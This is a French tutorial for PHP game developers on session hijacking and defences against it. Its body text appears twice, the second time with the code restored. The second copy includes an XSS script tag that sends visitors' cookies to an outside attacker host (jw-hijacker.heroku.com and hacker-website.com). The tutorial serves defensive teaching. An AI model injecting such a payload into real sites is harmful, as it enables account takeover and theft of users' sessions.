Les vols de sessions
L'enjeu des sessions lors d'une connexion à un site web est de garder en mémoire des informations relatives à l'utilisateur connecté.
Ces informations sont délivrées par PHP, qui reconnais l'utilisateur via un cookie qui contient le numéro de session.
Le problème
Si un hackeur récupère cette identifiant de session ?
Testez ce Javascript sur une page de votre jeu (grâce à la console Javascript de votre navigateur) :
Vous verrez alors tous les cookies de votre domaine, notamment le cookie PHPSESSID.
Je suis donc un hackeur et j'injecte du code dans votre site grâce à une formulaire. Je vais écrire du code qui va se charger de transmettre les cookies du visiteur à un site qui se chargera des les mettre de côté.
Un petit exemple:
Dès que ce code sera exécuté, une requête HTTP sera envoyée vers le site Web, qui recevra les cookies sous forme d'un paramètre GET.
Le hacker est donc en possession de l'identifiant de l'autre user, il va donc remplacer le sien par le nouveau, et au prochain chargement de page il sera connecté en tant que l'utilisateur dont il a volé l'identifiant de session.
Les solutions
Neutraliser les scripts injectés
Comme on l'a vu dans l'exemple de vol, le pirate a pu injecter du HTML dans le code du site, ce qui lui a permis d'écrire une balise script et donc d'exécuter le code Javascript placé dans cette balise.
Pour éviter ça, il suffit d'empêcher le navigateur de recevoir ce code en convertissant les caractères propres aux balises HTML en leurs entités HTML. Cela consiste à convertir les caractères comme < en < ! Ainsi, le navigateur lira le code suivant et l'affichera, sans risque pour la sécurité des utilisateurs :
Pour limiter le risque de vol de session, il faut donc systématiquement appliquer la fonction htmlspecialchars à tout ce que vous affichez qui vient d'un utilisateur (ou de toute autre source qui n'est pas sûre à 100%). Par exemple :
Ici, le site est protégé : on est sûr que l'utilisateur ne pourra pas injecter de HTML dans les messages ou dans son pseudo.
Il est inutile d'appliquer la fonctionne sur l'identifiant du message puisque celui-ci ne contient qu'un nombre qui a été généré par la base de données.
La fermeture des sessions
Cette partie concerne aussi bien l'administrateur du serveur que le scripteur php (Vous etes peut étres les deux en même temps?)
La fermeture des sessions est importante!
Laisser trop de sessions ouvertes augmente les probabilités de succés d'attaques par prédiction d'id ou de brute forcing d'ID
Il est indispençable de proposer sur son site un fonction de déconnexion.
Cette fonction doit a la fois vider le tableau de session et détruire la session!
Ainsi la session n'existe plus, ou si elle existe toujours on a suprimmé toutes les informations contenues a l'intérieur.
Il n'y a plus aucun risque de ce coté la.
Le probléme réside que beaucoup de personnes ne cliquent pas sur le bouton de déconnexion.
Il faut donc configurer les sessions pour s'effacer au bout d'un certain temps. 24h est un bon compromis mais on peut réduire cette valeur. Il faut se dire qu'un utilisateur n'attendra jamais 24h entre deux chargements de pages.
Sécurisation par IP
A la connection, inserez simplement l'ip de l'utilisateur dans un champ spécialisé de votre table user. Le stockage en session est aussi possible.
A chaque page, verrifiez que l'IP courante est la même que celle de la base.
En effet, si le hacker récupére le PHPSESSID, il y a peut de chance qu'il aie la même IP. Il suffit donc en cas de différence des deux IP de détruire la session.
On peut étendre a faire un hash d'infos tels que le nom du navigateur, l'IP et le nom d'utilisateur. On stocke ce jeton directement dans la session (oui oui ^^). On obtient donc une valeur de référence. A chaque page on recalcule cette valeur et si elle différe de la référence, on a intéret a détruire la session illico. Un utilisateur normal a peu de chance de changer de navigateur tout en gardant la même session.
Attention : cette technique est peu fiable puisque les IP sont transmises par le navigateur, et donc falsifiables.
Sécurisation par mot de passe
Cette technique est souvent plus facile a mettre en place, plus fiable aussi. Elle consiste simplement a chaque action sensible (changement dans le profil, ou achat de points premium) a redemander le mot de passe de l'utilisateur.
Un pirate qui serait connecté via un vol de session ignore surement le mot de passe de l'utilisateur, doncle fait de le redemander pour valider une action permet de le bloquer.
Le seul inconvénient a cette technique est qu'elle est lourde pour l'utilisateur (je me vois pas retaper mon mot de passe toutes les 30 secondes) donc il faut limiter son utilisation uniquement aux actions sensibles.
TODO
L'enjeu des sessions lors d'une connexion à un site web est de garder en mémoire des informations relatives à l'utilisateur connecté.
Ces informations sont délivrées par PHP, qui reconnais l'utilisateur via un cookie qui contient le numéro de session.
Le problème
Si un hackeur récupère cette identifiant de session ?
Testez ce Javascript sur une page de votre jeu (grâce à la console Javascript de votre navigateur) :
document.write(document.cookie);
Vous verrez alors tous les cookies de votre domaine, notamment le cookie PHPSESSID.
Je suis donc un hackeur et j'injecte du code dans votre site grâce à une formulaire. Je vais écrire du code qui va se charger de transmettre les cookies du visiteur à un site qui se chargera des les mettre de côté.
Un petit exemple:
<script type="text/javascript">
var image = new Image();
image.src = "http://jw-hijacker.heroku.com/hijack?data=".concat(escape(document.cookie));
</script>
Dès que ce code sera exécuté, une requête HTTP sera envoyée vers le site Web, qui recevra les cookies sous forme d'un paramètre GET.
Le hacker est donc en possession de l'identifiant de l'autre user, il va donc remplacer le sien par le nouveau, et au prochain chargement de page il sera connecté en tant que l'utilisateur dont il a volé l'identifiant de session.
Les solutions
Neutraliser les scripts injectés
Comme on l'a vu dans l'exemple de vol, le pirate a pu injecter du HTML dans le code du site, ce qui lui a permis d'écrire une balise script et donc d'exécuter le code Javascript placé dans cette balise.
Pour éviter ça, il suffit d'empêcher le navigateur de recevoir ce code en convertissant les caractères propres aux balises HTML en leurs entités HTML. Cela consiste à convertir les caractères comme < en < ! Ainsi, le navigateur lira le code suivant et l'affichera, sans risque pour la sécurité des utilisateurs :
Code :
<script type="text/javascript">
var image = new Image();
image.src = "http://hacker-website.com/hijack_session.php?".concat(escape(document.cookie));
</script>
Pour limiter le risque de vol de session, il faut donc systématiquement appliquer la fonction htmlspecialchars à tout ce que vous affichez qui vient d'un utilisateur (ou de toute autre source qui n'est pas sûre à 100%). Par exemple :
<?php foreach($messages as $message): ?>
<div class="message" id="message-<?php echo $message->getId(); ?>">
<div class="auhtor"><?php echo htmlspecialchars($message->getAuthor()->getUsername()); ?></div>
<div class="content"><?php echo htmlspecialchars($message->getContent()); ?></div>
</div>
<?php endforeach; ?>
Ici, le site est protégé : on est sûr que l'utilisateur ne pourra pas injecter de HTML dans les messages ou dans son pseudo.
Il est inutile d'appliquer la fonctionne sur l'identifiant du message puisque celui-ci ne contient qu'un nombre qui a été généré par la base de données.
La fermeture des sessions
Cette partie concerne aussi bien l'administrateur du serveur que le scripteur php (Vous etes peut étres les deux en même temps?)
La fermeture des sessions est importante!
Laisser trop de sessions ouvertes augmente les probabilités de succés d'attaques par prédiction d'id ou de brute forcing d'ID
Il est indispençable de proposer sur son site un fonction de déconnexion.
Cette fonction doit a la fois vider le tableau de session et détruire la session!
Ainsi la session n'existe plus, ou si elle existe toujours on a suprimmé toutes les informations contenues a l'intérieur.
Il n'y a plus aucun risque de ce coté la.
Le probléme réside que beaucoup de personnes ne cliquent pas sur le bouton de déconnexion.
Il faut donc configurer les sessions pour s'effacer au bout d'un certain temps. 24h est un bon compromis mais on peut réduire cette valeur. Il faut se dire qu'un utilisateur n'attendra jamais 24h entre deux chargements de pages.
Sécurisation par IP
A la connection, inserez simplement l'ip de l'utilisateur dans un champ spécialisé de votre table user. Le stockage en session est aussi possible.
A chaque page, verrifiez que l'IP courante est la même que celle de la base.
En effet, si le hacker récupére le PHPSESSID, il y a peut de chance qu'il aie la même IP. Il suffit donc en cas de différence des deux IP de détruire la session.
On peut étendre a faire un hash d'infos tels que le nom du navigateur, l'IP et le nom d'utilisateur. On stocke ce jeton directement dans la session (oui oui ^^). On obtient donc une valeur de référence. A chaque page on recalcule cette valeur et si elle différe de la référence, on a intéret a détruire la session illico. Un utilisateur normal a peu de chance de changer de navigateur tout en gardant la même session.
Attention : cette technique est peu fiable puisque les IP sont transmises par le navigateur, et donc falsifiables.
Sécurisation par mot de passe
Cette technique est souvent plus facile a mettre en place, plus fiable aussi. Elle consiste simplement a chaque action sensible (changement dans le profil, ou achat de points premium) a redemander le mot de passe de l'utilisateur.
Un pirate qui serait connecté via un vol de session ignore surement le mot de passe de l'utilisateur, doncle fait de le redemander pour valider une action permet de le bloquer.
Le seul inconvénient a cette technique est qu'elle est lourde pour l'utilisateur (je me vois pas retaper mon mot de passe toutes les 30 secondes) donc il faut limiter son utilisation uniquement aux actions sensibles.
TODO
- Ajouter la technique du cookie HTTPonly, qui permet d'empêcher Javascript de lire certains cookies. Cf. http://msdn.microsoft.com/en-us/library/ms533046.aspx